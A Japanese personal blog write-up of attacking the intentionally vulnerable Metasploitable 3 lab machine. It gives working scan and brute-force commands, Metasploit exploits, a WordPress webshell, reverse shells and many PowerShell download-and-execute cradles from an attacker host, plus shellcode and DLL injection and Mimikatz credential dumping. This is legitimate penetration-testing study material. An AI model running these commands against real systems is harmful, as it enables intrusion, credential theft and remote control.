高林の雑記ブログ

こんにちは。

Metasploitable 3:攻略ノススメ

ポートスキャン

  • nmap -p- -sV -sT -A 192.168.56.35
    f:id:kakyouim:20200216163731p:plain
    f:id:kakyouim:20200216163744p:plain
    f:id:kakyouim:20200216163757p:plain
  • python3 autorecon.py 192.168.56.35
  • cat notes.txt
[*] ftp found on tcp/21.
[*] ssh found on tcp/22.
[*] http found on tcp/80.
[*] ssl/appserv-http found on tcp/4848.
[*] http found on tcp/8022.
[*] http found on tcp/8080.
[*] ssl/http found on tcp/8383.
[*] wap-wsp found on tcp/9200.
[*] msrpc found on tcp/49153.
[*] msrpc found on tcp/49154.
[*] java-rmi found on tcp/49160.
[*] tcpwrapped found on tcp/49161.
[*] snmp found on udp/161.
[*] java-rmi found on tcp/1617.
[*] http found on tcp/5985.
[*] http found on tcp/8020.
[*] unknown found on tcp/8027.
[*] http found on tcp/8282.
[*] http found on tcp/8484.
[*] http found on tcp/8585.

Webサービスの調査

80ポートの調査

  • nikto -h 192.168.56.35:80
    とくになし
    f:id:kakyouim:20200216163901p:plain

    5985ポートの調査

  • nikto -h 192.168.56.35:5985
    f:id:kakyouim:20200216164028p:plain

8020ポートの調査

  • nikto -h 192.168.56.35:8020
    f:id:kakyouim:20200216164109p:plain
    f:id:kakyouim:20200216164124p:plain
  • wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8020/FUZZ
    f:id:kakyouim:20200216164223p:plain

8020ポートの調査

  • nikto -h 192.168.56.35:8022
    f:id:kakyouim:20200216164322p:plain
    f:id:kakyouim:20200216164340p:plain
    f:id:kakyouim:20200216164355p:plain

8080ポートの調査

  • nikto -h 192.168.56.35:8080
    f:id:kakyouim:20200216164434p:plain
    f:id:kakyouim:20200216164446p:plain
    f:id:kakyouim:20200216164500p:plain
  • wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8080/FUZZ
    f:id:kakyouim:20200216164522p:plain

8282ポートの調査

  • nikto -h 192.168.56.35:8282
    f:id:kakyouim:20200216164556p:plain
    f:id:kakyouim:20200216164608p:plain
    f:id:kakyouim:20200216164622p:plain

8383ポートの調査

  • nikto -h 192.168.56.35:8383
    f:id:kakyouim:20200216164659p:plain

8484ポートの調査

  • nikto -h 192.168.56.35:8484
    f:id:kakyouim:20200216164739p:plain
    f:id:kakyouim:20200216164750p:plain
    f:id:kakyouim:20200216164801p:plain

8585ポートの調査

  • nikto -h 192.168.56.35:8585
    f:id:kakyouim:20200216164832p:plain
    f:id:kakyouim:20200216164845p:plain
    f:id:kakyouim:20200216164902p:plain

ftpの調査

  • hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ftp
    f:id:kakyouim:20200216165145p:plain
    • /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
    • /usr/share/wfuzz/wordlist/general/big.txt
      でも試してみたがダメだった。
      Loginしてみる
      f:id:kakyouim:20200216165533p:plain
      クレデンシャル情報っぽいものは特に見つからなかった

sshの調査

  • hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ssh
    f:id:kakyouim:20200216165109p:plain
    • /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
    • /usr/share/wfuzz/wordlist/general/big.txt
      でも試してみたがダメだった。
      Loginしてみる
      f:id:kakyouim:20200216165333p:plain
      catなどができない。
      cmdでWindowsコマンドプロンプト起動!
      powershellは起動させるとバグって操作できなくなる
      f:id:kakyouim:20200216165433p:plain
  • type passwd
    f:id:kakyouim:20200216165449p:plain

snmp(161)の調査

  • cat udp_161_snmp_snmpwalk_user_accounts.txt
    AutoReconの出力結果を見ると、ユーザー一覧が列挙されている
    f:id:kakyouim:20200216170045p:plain
sshd
Guest
greedo
vagrant
han_solo
kylo_ren
boba_fett
chewbacca
ben_kenobi
jabba_hutt
artoo_detoo
c_three_pio
darth_vader
leia_organa
sshd_server
jarjar_binks
Administrator
luke_skywalker
anakin_skywalker
lando_calrissian

user.txtとして保存し、Login Bruteforceに使う
(ssh,ftpでも試したが、有効なのはvagrantだけだった)

smb(445)の調査

  • EternalBlue

    EternalBlue は、「Windows SMB1.0(SMBv1)」サーバが特定のリクエストを処理する際のセキュリティ上の欠陥です。より具体的には、WindowsSMBv1 のコード内のカーネル関数「srv!SrvOs2FeaListToNt」による「File ExtendedAttribute(拡張ファイル属性、FEA)」処理時に「Large Non-PagedPool(ラージ非ページプール)領域」のバッファオーバーフローを発生させる脆弱性です。

use exploit/windows/smb/ms17_010_eternalblue
ほかの人のWriteupでは動いてらしいがなんか成功しない……
f:id:kakyouim:20200216182106p:plain
f:id:kakyouim:20200216182147p:plain

Java RMI(1617)の調査

Java RMIとは、Java言語に標準で用意された機能の一つで、あるJavaオブジェクトから、異なるコンピュータ上で動作する別のJavaオブジェクトのメソッドを呼び出して実行することができるようにする仕組みらしい。
また、その機能を利用するために規定されたプログラム呼び出し規約らしい

Java Management Extensions (JMX) は、Java アプリケーションをモニタおよび管理するための仕様
JMX を使用すると、汎用管理システムでアプリケーションをモニタし、注意が必要なときに通知を生成し、アプリケーションの状態を変更して問題を解決できるらしい。
"jmx" AND ("javax.management.remote.rmi.RMIServerImpl_Stub" OR "java.rmi.server.RemoteStub" OR "java.rmi.server.RemoteObject") AND "exploit"
などでNmapの結果をGoogleで調べるとMetasploitでExploitが見つかったので試す
use multi/misc/java_jmx_server
f:id:kakyouim:20200216170612p:plain

Windows Remote Management (WinRM)(5985)の調査

5985ポートMicrosoft HTTPAPI httpd 2.0 (SSDP/UPnP)Windows Remote Management (WinRM)らしい
Windows を遠隔で操作する仕組み
コマンドで操作するらしい。
ポート5985が開いているがポート5986が閉じている場合、これはWinRMサービスがHTTP経由の接続のみを受け入れるように構成され、暗号化が有効になっていないらしい
use auxiliary/scanner/winrm/winrm_auth_methods
f:id:kakyouim:20200216170857p:plain
ログインできないと、Remote Code Executionはできないらしい。
ブルートフォースしてみたがダメ…
Mimikatzを使用してクレデンシャル情報を取得する方法もあるらしいが今回は得られなかった(後述)
参考文献
pentestlab.blog

Elasticsearch(9200)の調査

Elasticsearch は Elastic 社が開発しているオープンソース全文検索エンジンです。 大量のドキュメントから目的の単語を含むドキュメントを高速に抽出することができます。

nmapの結果から、バージョンは1.1.1であるとわかる
f:id:kakyouim:20200216181655p:plain
- use auxiliary/scanner/elasticsearch/indices_enum
f:id:kakyouim:20200216181720p:plain
- ElasticSearch Dynamic Script Arbitrary Java Execution
Googleで調べると、このバージョンは上記の脆弱性があるらしい
CVE-2014-3120
use exploit/multi/elasticsearch/script_mvel_rce
f:id:kakyouim:20200216181844p:plain

Webサービスの攻撃

8020 8022 8383ポート(ManageEngine)への攻撃

  • curl -v -X PUT -d "Test" http://192.168.56.35:8020/test.txt
    niktoではPUTが可能と書いてあるので上記を試したがエラー
    書き込み権限がないらしい(当然っちゃ当然か?)
    f:id:kakyouim:20200216171450p:plain
    uploaddoc, apiなどには権限がなくアクセスできなかった。
    デフォルトのクレデンシャル情報でLoginを試す!
    User=admin, pass=adminでログイン成功!
    version情報から有効なExploitを探す
    f:id:kakyouim:20200216171626p:plain
  • ManageEngine Desktop Central StatusUpdate - Arbitrary File Upload (Metasploit)
    が有効っぽい?

    This module exploits an arbitrary file upload vulnerability in ManageEngine DesktopCentral v7 to v9 build 90054 (including the MSP versions).

となっているのでBuild番号自体はExploit可能ではないが……
www.exploit-db.com にMetasploitのExploitがあるが、Metasploit以外のExploitを探すと以下がヒット
manage-engine-exploit.py · GitHub
のExploitを実行してみると成功!
- python2 manageengine_exploit.py 192.168.56.35 8022 192.168.56.5 5555
f:id:kakyouim:20200216172606p:plain
f:id:kakyouim:20200216172623p:plain

Metasploitを使うと以下のようになる
- use exploit/windows/http/manageengine_connectionid_write
f:id:kakyouim:20200216185922p:plain

8282(tomcat)の攻撃

www.cybersecurity-help.cz

PUTが許可されているのでこの脆弱性がありそうな気がするが、JSPファイルの書き込みができず、脆弱ではないらしい。
- python2 /usr/share/exploitdb/exploits/jsp/webapps/42966.py -u http://192.168.56.35:8282/
f:id:kakyouim:20200216173409p:plain
どうやら403でアクセス権限(書き込み権限?)がない??
f:id:kakyouim:20200216173429p:plain
- use exploit/multi/http/tomcat_jsp_upload_bypass
でも403となって成功しなかった
f:id:kakyouim:20200216173459p:plain

8484(Jenkins)の攻撃

Javaで書かれたオープンソース継続的インテグレーションツール.
継続的インテグレーションとは、ソフトウェア開発において、ビルドやテストを頻繁に繰り返し行なうことにより問題を早期に発見し、開発の効率化・省力化や納期の短縮を図る手法。
特に、専用のツールを用いてこのプロセスを自動化あるいは半自動化し、効率的に実施する方式。
らしい
下の方にJenkinsのバージョンが見えている
f:id:kakyouim:20200216174130p:plain

Jenkinsには、Jenkinsマスターランタイム内またはエージェントのランタイム内で任意のGroovyスクリプトを実行できるGroovyスクリプトコンソールがあります。
JenkinsランタイムへのWebベースのGroovyシェルです。Groovyは非常に強力な言語であり、Javaでできることはほとんど何でも実行できます。
サブプロセスを作成し、Jenkinsマスターとエージェントで任意のコマンドを実行します。


ログインパスワードのないJenkinsを見つけた場合、またはスクリプトコンソールにアクセスする権限を持つ通常のユーザーである場合、この特権を悪用してマシンのリバースシェルを取得できる
今回は/scriptでScript Consoleにアクセスできたのでそこからリバースシェルを実行できそう
以下を参考にする
www.hackingarticles.in

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'ipconfig'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

を実行すると、以下のように結果が得られた
f:id:kakyouim:20200216174656p:plain
以下を埋め込むとリバースシェルを実行できる
gist.github.com
- use exploits/multi/http/jenkins_script_console
Metasploitにも存在
f:id:kakyouim:20200216175212p:plain
f:id:kakyouim:20200216175230p:plain

ちなみに、Googleで調べたExploitは不発
f:id:kakyouim:20200216175316p:plain
バージョンはピッタリなのになんでだろう?

8585(webdav,wordpress)の攻撃

Webdavの攻撃

  • davtest -url http://192.168.56.35:8585/uploads/
    f:id:kakyouim:20200216175542p:plain
    Webshellのアップロードが可能!

Wordpressの攻撃

  • wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u
    f:id:kakyouim:20200216175722p:plain
  • wpscan --url http://192.168.56.35:8585/wordpress/ --enumerate u -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt
    f:id:kakyouim:20200216175751p:plain
    User=vagrant,password=vagrantでログイン
    f:id:kakyouim:20200216175809p:plain
    PluginのPHPコードを書き換える
    f:id:kakyouim:20200216175851p:plain
    なんかエラー出てるが、Webshellの設置成功!
    f:id:kakyouim:20200216175922p:plain
    /wordpress/wp-content/plugins/ninja-forms/ninja-forms.php?cmd=ls
    f:id:kakyouim:20200216180008p:plain

Reverse Shell

  • wordpressのWebshellからReverse shellを実行する
    www.hackingarticles.in
  • netcat
    • nc.exe -nlvp 4444 -e cmd.exe
      bind shellは成功せず
    • nc.exe 192.168.1.101 443 -e cmd.exe
      reverse shellも成功せず
  • Certutil.exe
    • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler
set lhost 192.168.56.5
set lport 4444
  • certutil.exe -urlcache -split -f http://192.168.56.5/share/shell.exe shell.exe & shell.exe
    f:id:kakyouim:20200216180837p:plain
    ダメだった。
    しかし、すでにSSHなどから得られているプロンプト上から実行するとうまく行った……
    f:id:kakyouim:20200216180955p:plain
    f:id:kakyouim:20200216181007p:plain
  • powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.56.5/share/powercat.ps1');powercat -c 192.168.56.5 -p 4444 -e cmd"

で成功!!
f:id:kakyouim:20200216181130p:plain

Local Privilege Escalation

基本的に以下を参照する
github.com
https://www.puckiestyle.nl/windows-privilege-escalation/

ethicalhackingguru.com

Enum tools

windows-privesc-check2.exe

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/windows-privesc-check/windows-privesc-check2.exe\", \"C:\\Users\\Public\\Downloads\\windows-privesc-check2.exe\");
  • windows-privesc-check2.exe --audit -a
    出力が多すぎない?

Sherlock

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Sherlock/Sherlock.ps1'))"

でダウンロードして実行
f:id:kakyouim:20200216184123p:plain
f:id:kakyouim:20200216184135p:plain
これらを試してみたが成功しなかった。

JAWS

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/JAWS/jaws-enum.ps1'))"

f:id:kakyouim:20200216184509p:plain
f:id:kakyouim:20200216184607p:plain
f:id:kakyouim:20200216184724p:plain
f:id:kakyouim:20200216184823p:plain
f:id:kakyouim:20200216184850p:plain
f:id:kakyouim:20200216184908p:plain
f:id:kakyouim:20200216184952p:plain
など

SessionGopher

PuTTYWinSCPFileZilla、SuperPuTTY、およびRDPの保存済みセッション情報を静かに掘り下げる

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/SessionGopher/SessionGopher.ps1')); Invoke-SessionGopher -Thorough"

f:id:kakyouim:20200216185103p:plain

Beroot

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/BeRoot/beRoot.exe\", \"C:\\Users\\Public\\Downloads\\beRoot.exe\");

f:id:kakyouim:20200216185150p:plain

WindowsEnum

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/WindowsEnum/WindowsEnum.ps1'));"

f:id:kakyouim:20200216185254p:plain
f:id:kakyouim:20200216185331p:plain

Powerless

certutil.exe -urlcache -split -f "http://192.168.56.5:8000/Powerless/Powerless.bat"
Powerless.bat
出力多い……
参考
github.com

PowerUp.ps1

  • Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"
- `unquoted servicepaths`<br>
- `service executable`<br>
- `argument permissions`<br>

に注目するらしい

Manual

  • wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
    ””で囲まれていないパスやスペースがあるようなプロセスがあると、そのプログラムの代わりに悪意のあるプログラムをその場所に設置して実行されられるらしい。
    以上で、””で囲まれていないようなプロセスを列挙している。
    [f:id:kakyouim:20200216205526p:plain]
  • tomcat-users.xml
    Tomcatはデフォルトではrootで起動しているのでtomcatのクレデンシャル情報の取得は権限昇格にも使えるかも
  • cd C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf
  • type tomcat-users.xml
    [f:id:kakyouim:20200216210745p:plain]

PowerSploit

Invoke-AllChecks

  • Invoke-AllChecks | Out-File allchecks.txt
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Invoke-AllChecks | Out-File allchecks.txt"

Install-ServiceBinary

  • Install-ServiceBinary -Name 'OpenSSHd'
    既存のバイナリをjohnというユーザーを追加した新しいバイナリに置き換える
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Install-ServiceBinary -Name 'OpenSSHd'"

以下のようなエラーが発生
f:id:kakyouim:20200216205726p:plain
net stop OpenSSHd
で一度これを停止させてからやると成功!
f:id:kakyouim:20200216205714p:plain
net start OpenSSHd
で再起動しようとするとエラー。
SSHが使えなくなった……
f:id:kakyouim:20200216205848p:plain
net user
でjohnが追加されていることが確認できる!
f:id:kakyouim:20200216205926p:plain
net user john
で確認
f:id:kakyouim:20200216210039p:plain

- use exploit/windows/smb/psexec
ほかの人のWriteupではこれでuser=john,password=Password123!でSYSTEM権限が得られていたが、なんかうまく行かない……
f:id:kakyouim:20200216210253p:plain
ちなみに、
Install-ServiceBinary -Name 'jenkins'
で同じく試すと別のerror。
f:id:kakyouim:20200216210159p:plain

参考
blog.rapid7.com

Invoke-Shellcode.ps1

  • Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force
    プロセスにshellcodeを注入して実行する
    SYSTEM権限で実行されているプロセスに注入することで権限昇格できるかも
    payloadは
    windows/meterpreter/reverse_http
    windows/meterpreter/reverse_https
    しかサポートしてないらしい
  • wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/code_execution/Invoke-Shellcode.ps1
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Invoke-Shellcode.ps1'));Invoke-Shellcode -Payload windows/meterpreter/reverse_http -Lhost 192.168.56.5 -Lport 4448 -Force"

ProcessIDを指定しないと、現在のPowershellプロセスにshellcodeを注入するらしい
途中までうまく行ってたのになんかエラー
f:id:kakyouim:20200216203754p:plain
f:id:kakyouim:20200216203859p:plain

Invoke-DllInjection.ps1

  • Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll
  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.5 LPORT=5555 -f dll > msf.dll
    で悪意のあるDLLを作成して標的のディスク上に配置しないといけない
    DLL Injectionは現在実行中のプロセスに悪意のあるDLLの存在するパスを書き込んでロードさせるもの
    ロードされたDLLはそのプロセスの権限で実行される
  • powershell -Command "Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden"
  • powershell -Command "Get-Process notepad"
    f:id:kakyouim:20200216204108p:plain
  • certutil.exe -urlcache -split -f "http://192.168.56.5/share/msf.dll"
    f:id:kakyouim:20200216204309p:plain
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/CodeExecution/Invoke-DllInjection.ps1'));Invoke-DllInjection -ProcessID 4248 -Dll C:\Users\Public\Downloads\msf.dll"

f:id:kakyouim:20200216204400p:plain
f:id:kakyouim:20200216204412p:plain

ちなみに、SYSTEMで動いているであろうTomcatにDLLInjectionを試してみると、
f:id:kakyouim:20200216204509p:plain
となって失敗した。
どうやら管理者のPowershellじゃないとだめらしい。

参考
blog.opensecurityresearch.com
www.elastic.co

Get-VaultCredential

  • Get-VaultCredential
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/powersploit/Exfiltration/Get-VaultCredential.ps1')); Get-VaultCredential"

なにも表示されなかった

Find-ProcessDLLHijack

  • Find-ProcessDLLHijack
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/PowerUp.ps1')); Find-ProcessDLLHijack  "

f:id:kakyouim:20200216204634p:plain
こういうのが何個か結果として得られた
DLLHijackはDLL Injectionとは違って、正しいDLLが読み込まれる際にそのDLLの代わりに悪意のあるDLLが読み込まれるようにしたもの
アプリケーションが普通のディレクトリにInstallされていたり、""で囲まれておらずスペースが含まれている場合にバイパスできる

Get-System

  • Get-System -Technique NamedPipe
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PowerSploit/Privesc/Get-System.ps1')); Get-System -Technique NamedPipe"

f:id:kakyouim:20200216204939p:plain
権限の問題で失敗……
参考
yojimbosecurity.ninja

Get-DllLoadPath.ps1

  • Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll
    のように使う
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/PEtools/Get-DllLoadPath.ps1')); Get-DllLoadPath –ExecutablePath “C:\Program Files (x86)\Adobe\Acrobat 10.0\Acrobat\Acrobat.exe” –Dllname shell32.dll"

参考
github.com
resources.infosecinstitute.com

Mimikatz

  • mimikatz.exe
    以下でダウンロードする。
@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "(New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimidrv.sys\", \"C:\\Users\\Public\\Downloads\\mimidrv.sys\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimikatz.exe\", \"C:\\Users\\Public\\Downloads\\mimikatz.exe\"); (New-Object System.Net.WebClient).DownloadFile(\"http://192.168.56.5:8000/Mimikatz/x64/mimilib.dll\", \"C:\\Users\\Public\\Downloads\\mimilib.dll\")"

以下でmimikatz.exeを実行してクレデンシャル情報を探すが、今回は失敗
mimikatz log version "sekurlsa::logonpasswords" exit
f:id:kakyouim:20200216182652p:plain - Invoke-Mimikatz.ps1
以下でディスクに置かずに実行できるだめAVに引っかかりにくいらしい

@"%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -InputFormat None -ExecutionPolicy Bypass -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.168.56.5:8000/Mimikatz/Invoke-Mimikatz.ps1')); Invoke-Mimikatz -DumpCreds"

f:id:kakyouim:20200216182922p:plain

Metasploit

sshを介して得たuser=vagrantのmeterpreterセッション上で
getsystem
を実行するとSYSTEMになれた!
f:id:kakyouim:20200216183218p:plain
f:id:kakyouim:20200216183237p:plain
名前付きパイプの偽装による権限昇格が成功した様子
名前付きパイプとは、同じコンピュータ上で動作しているプログラム同士がデータをやり取りするプロセス間通信(IPC)の有力な方式の一つ。

Windowsのセキュリティはスレッドを実行するユーザーをトークンで識別しますが、 名前付きパイプのサーバーはクライアントのトークンを偽装できます。
偽装するというのは、サーバーがクライアントのアカウントとしてコードを実行するということであり、 オブジェクトへのアクセスをクライアントとして行いたい場合に便利

つまり、cmd.exeへの名前付きパイプを作成しておいて、そこにSYSTEMであると偽ってMeterpreterが接続すると、SYSTEM権限でのcmd.exeの実行が可能になるということ?

blog.cobaltstrike.com
以下のPowerSploitのExploitでもおそらく可能
yojimbosecurity.ninja

参考文献

zero-day.io
www.ceyhuncamli.com.tr
wjmccann.github.io
https://www.yeahhub.com/list-metasploit-exploits-modules-metasploitable3-vulnerable-machine/
www.mrb3n.com

最後

権限昇格のやり方が全然よくわかってないのでちゃんと勉強しないとダメだなあ
powershellに頼りきりだけどWindows7より前の標的にはどうやって権限昇格するんだろうか……
なんもわからん